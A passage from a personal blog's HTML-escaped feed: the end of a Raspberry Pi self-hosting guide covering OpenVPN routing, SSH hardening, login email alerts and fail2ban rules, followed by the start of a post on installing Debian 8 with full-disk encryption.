net.ipv6.conf.all.forwarding=1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Apply changes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
sysctl -p
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;There's a &lt;a href="http://serverfault.com/questions/355520/after-reboot-debian-box-ignore-sysctl-conf-values"&gt;known bug&lt;/a&gt; which may prevent these values to be read on boot (check that it worked about rebooting with &lt;code&gt;sysctl -a | grep ip_forward&lt;/code&gt;). Add the following above &lt;code&gt;exit 0&lt;/code&gt; in &lt;em&gt;/etc/rc.local&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sysctl -p /etc/sysctl.conf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Don't forget to set up a port forward rule to forward UDP port 1194 from your gateway/router to the machine running the OpenVPN server. In addition, allow incomings UDP connections on port 1194 and these rules, in &lt;code&gt;firewall.sh&lt;/code&gt; (the lines are there already, uncomment them):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;iptables -t nat -I POSTROUTING &lt;span class="m"&gt;1&lt;/span&gt; -o eth0 -j MASQUERADE
ip6tables -t nat -I POSTROUTING &lt;span class="m"&gt;1&lt;/span&gt; -s fd42:42:42:42::/112 -o eth0 -j MASQUERADE
iptables -A FORWARD -s &lt;span class="m"&gt;10&lt;/span&gt;.8.0.0/24 -j ACCEPT
iptables -A FORWARD -m state --state RELATED,ESTABLISHED -j ACCEPT
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you prefer not to use any firewall, replace the content of &lt;code&gt;firewall.sh&lt;/code&gt; with:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="ch"&gt;#!/bin/sh&lt;/span&gt;

&lt;span class="c1"&gt;# OpenVPN&lt;/span&gt;
fw_start &lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
iptables -t nat -I POSTROUTING &lt;span class="m"&gt;1&lt;/span&gt; -o eth0 -j MASQUERADE
ip6tables -t nat -I POSTROUTING &lt;span class="m"&gt;1&lt;/span&gt; -s fd42:42:42:42::/112 -o eth0 -j MASQUERADE
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;case&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$1&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt; &lt;span class="k"&gt;in&lt;/span&gt;
start&lt;span class="p"&gt;|&lt;/span&gt;restart&lt;span class="o"&gt;)&lt;/span&gt;
 fw_start
 &lt;span class="p"&gt;;;&lt;/span&gt;
*&lt;span class="o"&gt;)&lt;/span&gt;
 &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;Usage: &lt;/span&gt;&lt;span class="nv"&gt;$0&lt;/span&gt;&lt;span class="s2"&gt; {start}&amp;quot;&lt;/span&gt;
 &lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;1&lt;/span&gt;
 &lt;span class="p"&gt;;;&lt;/span&gt;
&lt;span class="k"&gt;esac&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt; &lt;span class="m"&gt;0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;em&gt;Make sure to replace &lt;code&gt;eth0&lt;/code&gt; with the right value (check using &lt;code&gt;ip a&lt;/code&gt;).&lt;/em&gt; You'll find it using: &lt;code&gt;ip -4 route ls | grep default | grep -Po '(?&amp;lt;=dev )(\S+)' | head -1&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Finally, do the following on your server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /etc/openvpn
su
mv client.conf client.conf.old
shred -u client.ovpn
chown nobody:nogroup ta.key
systemctl restart openvpn
tail -f /var/log/openvpn/openvpn-status.log
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;At next boot, the server will run automatically. We needed to rename the &lt;em&gt;client.ovpn&lt;/em&gt; because the initscript will scan this directory for &lt;em&gt;.conf&lt;/em&gt; files and start up a separate OpenVPN deamon for each file found. It is recommended to delete client's files:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;shred -u client.conf.old
shred -u /etc/openvpn/easy-rsa/pki/private/client.key
shred -u /etc/openvpn/easy-rsa/pki/issued/client.crt
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now on your client:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;sudo apt update &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; sudo apt install resolvconf
sudo openvpn --config client.ovpn
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;On the server, if you are using &lt;code&gt;/etc/openvpn/notifyconnect.sh&lt;/code&gt; and emails are not sent out when a client connects, add &lt;code&gt;CAP_SYS_RESOURCE&lt;/code&gt; to &lt;code&gt;CapabilityBoundingSet&lt;/code&gt; in &lt;code&gt;/lib/systemd/system/openvpn@.service&lt;/code&gt;. &lt;a href="https://alexaf.gitlab.io/posts/broken_vpn_notifications/"&gt;Here is why&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="optional-use-several-ports"&gt;Optional: use several ports&lt;/h2&gt;
&lt;p&gt;You might want to make your VPN server available on several ports. If so, open the ports you wish to use on your router and add the corresponding iptables rules. You may edit &lt;code&gt;firewall.sh&lt;/code&gt;, change the first line and add the second one:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nv"&gt;UDP_SERVICES&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;68 1194 53&amp;quot;&lt;/span&gt; &lt;span class="c1"&gt;# DCHP, OpenVPN, OpenVPN (other port)&lt;/span&gt;
&lt;span class="c1"&gt;# ...&lt;/span&gt;
iptables -t nat -A PREROUTING -i eth0 -p udp --dport &lt;span class="m"&gt;53&lt;/span&gt; -j REDIRECT --to-port &lt;span class="m"&gt;1194&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="hardening-ssh-configuration"&gt;Hardening SSH configuration&lt;/h1&gt;
&lt;p&gt;Edit &lt;em&gt;/etc/ssh/sshd_config&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;Port &amp;lt;something you like&amp;gt;
# If you change the default port, don&amp;#39;t forget to update SSH_PORT in firewall.sh
#HostKey /etc/ssh/ssh_host_dsa_key # Comment because too old
#HostKey /etc/ssh/ssh_host_ecdsa_key # Same reason
LoginGraceTime 10s
PermitRootLogin no
StrictModes yes
PubkeyAuthentication yes
IgnoreRhosts yes
PasswordAuthentication no # Or yes, depending on your needs
PermitEmptyPasswords no
ChallengeResponseAuthentication no
UsePAM no
Banner /etc/issue.net # Message displayed at login

# Custom settings
AllowUsers pi # ONLY pi will be allowed to log in

Ciphers chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr
MACs hmac-sha2-512,hmac-sha2-256
KexAlgorithms curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The last three lines are taken from &lt;a href="https://stribika.github.io/2015/01/04/secure-secure-shell.html"&gt;this very helpful website&lt;/a&gt;. You should also read &lt;a href="http://kacper.blog.redpill-linpro.com/archives/702"&gt;this one&lt;/a&gt; after having read the first one (the order is important).&lt;/p&gt;
&lt;p&gt;&lt;a href="http://mysecureshell.sourceforge.net/fr/securessh.html#question3"&gt;Another helpful website about how to prevent SSH bruteforce attacks&lt;/a&gt;. However, we'll use fail2ban, see below.&lt;/p&gt;
&lt;p&gt;Consider allowing SSH connections using public keys only. On a client do:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;keygen&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;t&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsa&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4096&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;o&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;#&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Accept&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;directory&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;passphrase&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;copy&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;id&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~/&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ssh&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="n"&gt;id_rsa&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;pi&lt;/span&gt;&lt;span class="nv"&gt;@raspberrypi&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="w"&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="sending-an-email-on-every-ssh-connection"&gt;Sending an email on every SSH connection&lt;/h1&gt;
&lt;p&gt;Taken from &lt;a href="http://askubuntu.com/questions/179889/how-do-i-set-up-an-email-alert-when-a-ssh-login-is-successful#answer-448602"&gt;this thread&lt;/a&gt;. As root, create &lt;code&gt;/etc/ssh/login-notify.sh&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;#!/bin/sh

if [ &amp;quot;$PAM_TYPE&amp;quot; != &amp;quot;close_session&amp;quot; ]; then
    host=&amp;quot;`hostname`&amp;quot;
    subject=&amp;quot;SSH Login: $PAM_USER from $PAM_RHOST on $host&amp;quot;
    message=&amp;quot;`date`&amp;quot;
    echo &amp;quot;$message&amp;quot; | mail -s &amp;quot;$subject&amp;quot; root@mydomain
fi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Note though that you will need to change this line in &lt;code&gt;/etc/ssh/sshd_config&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;UsePAM yes
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;chmod +x /etc/ssh/login-notify.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And add the following line at the end of the file &lt;code&gt;/etc/pam.d/sshd&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;session optional pam_exec.so seteuid /etc/ssh/login-notify.sh
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now restart sshd by doing &lt;code&gt;service sshd restart&lt;/code&gt;.&lt;/p&gt;
&lt;h1 id="fail2ban"&gt;Fail2Ban&lt;/h1&gt;
&lt;p&gt;&lt;a href="http://www.fail2ban.org/wiki/index.php/MANUAL_0_8"&gt;Official documentation&lt;/a&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
apt install fail2ban
systemctl status fail2ban
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Make sure the file &lt;em&gt;/etc/init.d/fail2ban&lt;/em&gt; exists. Now edit &lt;em&gt;/etc/fail2ban/jail.local&lt;/em&gt; (make a copy of &lt;em&gt;/etc/fail2ban/jail.conf&lt;/em&gt;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[DEFAULT]
# Whatever fits you
bantime = 86400
findtime = 3600
maxretry = 3
action = %(action_mwl)s

# Enable sshd (enabled = true + mode = aggressive), change &amp;#39;port&amp;#39; if need be
# Enable apache, apache-*
# Add the following new entry
[http-dos]
enabled = true
port = http,https
filter = http-dos
logpath = %(apache_access_log)s
maxretry = 200
findtime = 120
bantime = 600

[ban-countries]
enabled = true
port = http,https
filter = http-dos
logpath = %(apache_access_log)s
maxretry = 1
findtime = 120
bantime = 6000
banaction = ban-countries
action = %(action_)s
# action_ won&amp;#39;t send email when banning someone (cause would send a message for every new request) nor when starting/stopping
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In &lt;code&gt;/etc/fail2ban/filter.d/apache-auth.conf&lt;/code&gt;, edit the line &lt;code&gt;ignoreregex&lt;/code&gt; like this to fix a known issue between &lt;a href="https://github.com/nextcloud/server/issues/15688"&gt;Nextcloud and fail2ban&lt;/a&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ignoreregex = var/www/nextcloud/config
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now create &lt;em&gt;/etc/fail2ban/filter.d/http-dos.conf&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;[Definition]

# Option: failregex
# Note: This regex will match any GET or POST entry in your logs, so basically
# all valid and not valid entries are a match.
# You should set up in the jail.conf file, the maxretry and findtime carefully
# in order to avoid false positives.

failregex = ^&amp;lt;HOST&amp;gt; -.*\&amp;quot;(GET|POST).*

# Option: ignoreregex
# Notes.: regex to ignore. If this regex matches, the line is ignored.
# Values: TEXT
#

ignoreregex =
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Now create &lt;em&gt;/etc/fail2ban/action.d/ban-countries.conf&lt;/em&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;# Copied from iptables-allports.conf
[Definition]

actionstart = &amp;lt;iptables&amp;gt; -N f2b-&amp;lt;name&amp;gt;
              &amp;lt;iptables&amp;gt; -A f2b-&amp;lt;name&amp;gt; -j &amp;lt;returntype&amp;gt;
              &amp;lt;iptables&amp;gt; -I &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -j f2b-&amp;lt;name&amp;gt;

actionstop = &amp;lt;iptables&amp;gt; -D &amp;lt;chain&amp;gt; -p &amp;lt;protocol&amp;gt; -j f2b-&amp;lt;name&amp;gt;
             &amp;lt;iptables&amp;gt; -F f2b-&amp;lt;name&amp;gt;
             &amp;lt;iptables&amp;gt; -X f2b-&amp;lt;name&amp;gt;

actioncheck = &amp;lt;iptables&amp;gt; -n -L &amp;lt;chain&amp;gt; | grep -q &amp;#39;f2b-&amp;lt;name&amp;gt;[ \t]&amp;#39;

actionban = IP=&amp;lt;ip&amp;gt; &amp;amp;&amp;amp;
            COUNTRY=$(geoiplookup $IP | egrep &amp;quot;&amp;lt;country_list&amp;gt;&amp;quot;) &amp;amp;&amp;amp; [ &amp;quot;$COUNTRY&amp;quot; ] &amp;amp;&amp;amp;
            &amp;lt;iptables&amp;gt; -I f2b-&amp;lt;name&amp;gt; 1 -s &amp;lt;ip&amp;gt; -j &amp;lt;blocktype&amp;gt; || true

actionunban = true

[Init]

country_list = CN|China
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Finally, &lt;a href="https://docs.nextcloud.com/server/latest/admin_manual/installation/harden_server.html#setup-fail2ban"&gt;set up fail2ban to also protect you from attacks against Nextcloud&lt;/a&gt;. The &lt;code&gt;logpath&lt;/code&gt; to use is &lt;code&gt;/var/log/nextcloud/nextcloud.log&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now install missing packages, reload the service maually to make sure there is no error:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;su
apt install geoip-bin geoip-database
systemctl stop fail2ban
fail2ban-client -x start
less /var/log/fail2ban.log
&lt;span class="c1"&gt;# Check for errors&lt;/span&gt;
fail2ban-client -x stop
systemctl start fail2ban
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h1 id="troubleshooting"&gt;Troubleshooting&lt;/h1&gt;
&lt;p&gt;Should you have a &lt;a href="https://www.youtube.com/watch?v=IGtzaIlMgWA"&gt;beeping hard disk drive&lt;/a&gt;, the reason might be power consumption. It usually beeps when it needs more electricity. &lt;a href="http://www.htpcguides.com/spin-down-and-manage-hard-drive-power-on-raspberry-pi/"&gt;Disabling Advanced Power Management&lt;/a&gt; will solve this problem in most cases (&lt;code&gt;sudo hdparm -B 255 /dev/sda&lt;/code&gt;).&lt;/p&gt;
&lt;h1 id="going-further"&gt;Going further&lt;/h1&gt;
&lt;h2 id="pro-tips"&gt;Pro tips&lt;/h2&gt;
&lt;p&gt;Consider buying an &lt;a href="https://www.modmypi.com/raspberry-pi/breakout-boards/pi-modules/ups-pico"&gt;uninterruptible power supply (UPS) for your Raspberry to prevent damage caused by power outage&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="talk"&gt;Talk&lt;/h2&gt;
&lt;p&gt;A year ago, I gave a talk at &lt;a href="http://humantalks.com/cities/compiegne"&gt;HumanTalks Compiègne&lt;/a&gt; about my Raspberry Pi. Here are the video and the slides.&lt;/p&gt;
&lt;iframe width="700" height="394" src="https://www.youtube-nocookie.com/embed/ECzGnX644yc?rel=0" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;

&lt;iframe width="700" height="600" src="https://romainpellerin.eu/slides/embedder.html#self-hosting/slides.html" allowfullscreen&gt;&lt;/iframe&gt;

&lt;p&gt;&lt;a href="https://romainpellerin.eu/slides/self-hosting/slides.html"&gt;Slides are available in HTML&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="interesting-external-links"&gt;Interesting external links&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://www.minimachines.net/actu/piwall-creer-un-mur-decrans-low-cost-avec-des-raspberry-pi-28656"&gt;Piwall : Créer un mur d’écrans low cost avec des Raspberry Pi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/raspberry-pi-allonger-la-duree-de-vie-de-vos-cartes-sd.html"&gt;Raspberry Pi – Allonger la durée de vie de vos cartes SD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://linuxfr.org/news/se-passer-de-dropbox-en-montant-son-coffre-fort-numerique-a-la-maison"&gt;Se passer de Dropbox en montant son coffre-fort numérique à la maison&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://korben.info/idees-raspberry-pi.html"&gt;Plus de 50 idées pour votre Raspberry Pi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.24joursdeweb.fr/2014/piloter-sa-maison-grace-au-web/"&gt;Piloter sa maison grâce au web&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/Banrai/PiScan"&gt;PiScan: A personal shopping and inventory-tracking device based on the Raspberry Pi&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.raspberrypi.org/magpi-issues/Projects_Book_v1.pdf"&gt;THE Official RASPBERRY PI PROJECTS BOOK&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://davidmaitland.me/2015/12/raspberry-pi-zero-headless-setup/"&gt;Raspberry Pi Zero Headless Setup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://hackaday.com/2016/06/28/raspberry-pi-gets-turned-on/"&gt;RASPBERRY PI GETS TURNED ON&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://www.geek-directeur-technique.com/2016/07/19/installation-serveur-https-rapide"&gt;Installation serveur HTTP(S) rapide&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://techcrunch.com/2016/11/16/the-r-pi-iot-shield-adds-iot-connectivity-to-your-diy-project/"&gt;The R.Pi IoT Shield adds IoT connectivity to your DIY project&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/deepsyx/home-automation"&gt;Raspberry Pi 3 based home automation with NodeJS and React Native.&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://bbrks.me/rpi-minidlna-media-server/"&gt;Using your Raspberry Pi as a DLNA/UPnP media server&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://github.com/rpellerin/raspberry-pi-security-camera"&gt;raspberry-pi-security-camera&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://mon-blog.jbriault.fr/index.php/blog/2019/02/06/s%C3%A9curiser-l-administration-de-son-vps"&gt;Protéger son VPS&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="read-only-raspberry-pi"&gt;Read-only Raspberry Pi&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="http://david.mercereau.info/raspberrypi-raspbian-en-lecture-seul-readonly-pour-preserver-la-carte-sd/"&gt;RaspberryPi &amp;amp; Raspbian en lecture seul (ReadOnly) pour préserver la carte SD&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="http://tinycorelinux.net/ports.html"&gt;Tiny Core Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"></category><category term="raspberry pi"></category><category term="linux"></category><category term="talk"></category></entry><entry><title>Migrating From Xubuntu To Debian</title><link href="https://romainpellerin.eu/migrating-from-xubuntu-to-debian.html" rel="alternate"></link><published>2016-05-21T02:00:00+02:00</published><updated>2022-09-24T12:11:00+02:00</updated><author><name>Romain Pellerin</name></author><id>tag:romainpellerin.eu,2016-05-21:/migrating-from-xubuntu-to-debian.html</id><summary type="html">&lt;p&gt;How to install Debian 8&lt;/p&gt;</summary><content type="html">&lt;p&gt;Today marks a new beginning: &lt;strong&gt;I'm switching to Debian 8&lt;/strong&gt;. A very bare installation of Debian actually.&lt;/p&gt;
&lt;p&gt;Until now, I've been using Xubuntu for over 3 years as my main operating system, on both my laptop and desktop computer. However, yesterday, as I was installing Xubuntu 16.04 on a friend's laptop, I noticed a few bugs quite annoying (like the &lt;a href="https://bugs.launchpad.net/ubuntu/+bug/1573454"&gt;disappearing mouse&lt;/a&gt;). In addition, I had been thinking about migrating to Debian for quite a long time (a friend of mine had already taken that step a couple of months ago). Xubuntu is shipped with a bunch of useless programs that I would never use. So time has come to have a lightweight bare distro, such as Debian 8. Moreover, my aging laptop would hugely benefit from that.&lt;/p&gt;
&lt;h1 id="tutorial"&gt;Tutorial&lt;/h1&gt;
&lt;p&gt;Let's get straight to the point: &lt;strong&gt;how to install Debian 8 on a whole encrypted disk?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Why encryption? Although I don't have sensitive data to protect, I take my laptop everywhere I go. Consequently, I am vulnerable to theft. What is on my disk is not valuable but still, I prefer to keep my stuff private.&lt;/p&gt;
&lt;p&gt;Before starting, make sure you have two USB sticks ready nearby, and another computer with a working Internet connection.&lt;/p&gt;
&lt;p&gt;Here are the steps to get a bare installation of Debian 8:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download a "&lt;em&gt;small installation image&lt;/em&gt;" on &lt;a href="https://www.debian.org/distrib/"&gt;the official website&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Flash it on a USB stick:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;ls /dev/sd*
&lt;span class="c1"&gt;# Plug the USB stick&lt;/span&gt;
ls /dev/sd* &lt;span class="c1"&gt;# Detect which is yours&lt;/span&gt;
sudo umount /dev/sdX1
sudo dd &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;debian-8.4.0-amd64-netinst.iso &lt;span class="nv"&gt;of&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/dev/sdX &lt;span class="nv"&gt;bs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1M
sudo sync&lt;span class="p"&gt;;&lt;/span&gt; sync
sudo umount /dev/sdX1
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;On the target PC, disable any HDD password or BIOS password. It might prevent you from encrypting the disk. I experienced it.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Boot on the USB flash drive. Select "&lt;em&gt;Install&lt;/em&gt;", unless you prefer a graphical install. They both do the same thing.&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Follow the instructions. You can leave the domain name blank. If you get a message "No common CD-ROM drive was detected", press ALT+F2 and do the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;blkid &lt;span class="c1"&gt;# Identify a device with a partition of type iso9660&lt;/span&gt;
mkdir /mnt/iso
mount -t iso9660 /dev/sdb1 /mnt/iso
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Press ALT+F1 to return to the installation dialog. Continue the installation.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;If at some point a message says that proprietary firmware files are needed, it's time to go back to the other computer and USB stick. Otherwise, skip this step.&lt;/p&gt;
&lt;p&gt;&lt;a href="https://romainpellerin.eu/images/debian_firmware.jpg"&gt;&lt;img alt="Picture" src="https://romainpellerin.eu/images/debian_firmware.jpg"&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Note: this is doable with only one USB stick. But it is much harder.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Download the mentioned file(s) from the &lt;a href="https://packages.debian.org/jessie/"&gt;Debian repository&lt;/a&gt;. In my case, I needed these ones: &lt;a href="https://packages.debian.org/stretch/all/firmware-misc-nonfree/download"&gt;https://packages.debian.org/stretch/all/firmware-misc-nonfree/download&lt;/a&gt; and &lt;a href="https://packages.debian.org/stretch/all/firmware-realtek/download"&gt;https://packages.debian.org/stretch/all/firmware-realtek/download&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;Put the &lt;code&gt;.deb&lt;/code&gt; file(s) on the other USB stick. If you decided to re-use the same USB stick, first umount it: ALT+F2, &lt;code&gt;cat /etc/mtab&lt;/code&gt; then &lt;code&gt;sync &amp;amp;&amp;amp; umount /dev/sdb1 &amp;amp;&amp;amp; sync&lt;/code&gt;. Plug it in the other computer and delete existing partitions with &lt;code&gt;fdisk&lt;/code&gt; and create a new one of type &lt;code&gt;W95 FAT32&lt;/code&gt;. Format it using &lt;code&gt;sudo mkfs.vfat /dev/sdc1&lt;/code&gt;. Then put the files on the USB stick.&lt;/li&gt;
